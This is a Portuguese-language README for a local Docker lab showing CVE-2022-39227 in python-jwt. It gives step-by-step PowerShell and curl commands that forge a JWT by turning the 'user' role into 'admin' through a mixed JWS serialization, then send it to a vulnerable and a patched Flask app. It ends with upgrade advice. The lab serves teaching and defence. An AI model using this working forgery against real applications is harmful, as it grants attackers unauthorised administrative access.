
Laboratório educacional demonstrando o bypass de autenticação JWT CVE-2022-39227 em python-jwt. Ataque passo a passo contra aplicativos Flask vulneráveis e corrigidos com configuração Docker.
Este projeto demonstra a vulnerabilidade CVE-2022-39227 em um ambiente de laboratório local controlado. Esta vulnerabilidade afeta a biblioteca python-jwt (versões < 3.3.4) e permite que um invasor falsifique claims JWT sem conhecer a chave secreta, explorando uma inconsistência de análise (JWS Serialization) entre python-jwt e sua dependência jwcrypto.
O projeto cria duas aplicações Flask idênticas usando Docker, separadas apenas pelas versões de suas dependências:
python-jwt==3.3.3)python-jwt==3.3.4)Ambas as aplicações implementam um Controle de Acesso Baseado em Funções (RBAC) simples. Um usuário comum (alice) pode fazer login e receber um JWT. Apenas usuários com o papel admin em sua claim JWT podem acessar o endpoint /admin.
1. Iniciar o Ambiente Certifique-se de que o Docker Desktop está em execução e então execute:
docker-compose up -d --build
Isso iniciará ambos os servidores (vulnerável e corrigido) em segundo plano.
Para reproduzir o ataque, você executará requisições HTTP brutas e manipulações de payload manualmente no PowerShell. Isso demonstra que a vulnerabilidade reside no protocolo e na lógica de análise da biblioteca, não em uma ferramenta externa.
Passo 1: Fazer login e obter um token válido
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token
Passo 2: Dividir o JWT em componentes
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]
Passo 3: Decodificar o Payload, modificar o papel e recodificar para Base64Url
# Decode original payload
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))
# Change role from "user" to "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'
# Encode modified payload back to Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')
Passo 4: Construir o Formato de Serialização JWS Malicioso
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
-f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'
Passo 5: Executar o Ataque contra ambos os servidores
# Attack Vulnerable Server (Port 5000) -> SUCCESS
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"
# Attack Fixed Server (Port 5001) -> BLOCKED (Invalid token format)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"
Atualize o python-jwt para a versão 3.3.4 ou superior. Além disso, as aplicações devem aplicar validação rigorosa de assinatura e verificar a integridade do payload diretamente através da camada de lógica da aplicação sempre que possível.
Este projeto foi conduzido estritamente dentro de um ambiente de laboratório local e controlado para fins educacionais. Nenhum sistema de terceiros, serviços públicos ou contas de usuário reais foram alvo.